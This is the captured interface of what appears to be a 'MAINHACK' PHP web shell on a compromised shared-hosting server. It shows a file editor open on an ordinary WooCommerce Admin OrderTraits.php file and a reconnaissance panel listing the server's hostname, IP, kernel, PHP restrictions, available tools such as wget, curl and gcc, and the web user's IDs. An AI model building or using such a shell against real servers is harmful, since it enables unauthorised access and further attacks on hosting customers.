[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: OrderTraits.php
<?php /** * WC Admin Order Trait * * WC Admin Order Trait class that houses shared functionality across order and refund classes. * * @package WooCommerce Admin/Classes */ namespace Automattic\WooCommerce\Admin\Overrides; defined( 'ABSPATH' ) || exit; /** * OrderTraits class. */ trait OrderTraits { /** * Calculate shipping amount for line item/product as a total shipping amount ratio based on quantity. * * @param WC_Order_Item $item Line item from order. * * @return float|int */ public function get_item_shipping_amount( $item ) { // Shipping amount loosely based on woocommerce code in includes/admin/meta-boxes/views/html-order-item(s).php // distributed simply based on number of line items. $product_qty = $item->get_quantity( 'edit' ); $order_items = $this->get_item_count(); if ( 0 === $order_items ) { return 0; } $total_shipping_amount = $this->get_shipping_total(); return $total_shipping_amount / $order_items * $product_qty; } /** * Calculate shipping tax amount for line item/product as a total shipping tax amount ratio based on quantity. * * Loosely based on code in includes/admin/meta-boxes/views/html-order-item(s).php. * * @todo If WC is currently not tax enabled, but it was before (or vice versa), would this work correctly? * * @param WC_Order_Item $item Line item from order. * * @return float|int */ public function get_item_shipping_tax_amount( $item ) { $order_items = $this->get_item_count(); if ( 0 === $order_items ) { return 0; } $product_qty = $item->get_quantity( 'edit' ); $order_taxes = $this->get_taxes(); $line_items_shipping = $this->get_items( 'shipping' ); $total_shipping_tax_amount = 0; foreach ( $line_items_shipping as $item_id => $shipping_item ) { $tax_data = $shipping_item->get_taxes(); if ( $tax_data ) { foreach ( $order_taxes as $tax_item ) { $tax_item_id = $tax_item->get_rate_id(); $tax_item_total = isset( $tax_data['total'][ $tax_item_id ] ) ? (float) $tax_data['total'][ $tax_item_id ] : 0; $total_shipping_tax_amount += $tax_item_total; } } } return $total_shipping_tax_amount / $order_items * $product_qty; } /** * Calculates coupon amount for specified line item/product. * * Coupon calculation based on woocommerce code in includes/admin/meta-boxes/views/html-order-item.php. * * @param WC_Order_Item $item Line item from order. * * @return float */ public function get_item_coupon_amount( $item ) { return floatval( $item->get_subtotal( 'edit' ) - $item->get_total( 'edit' ) ); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619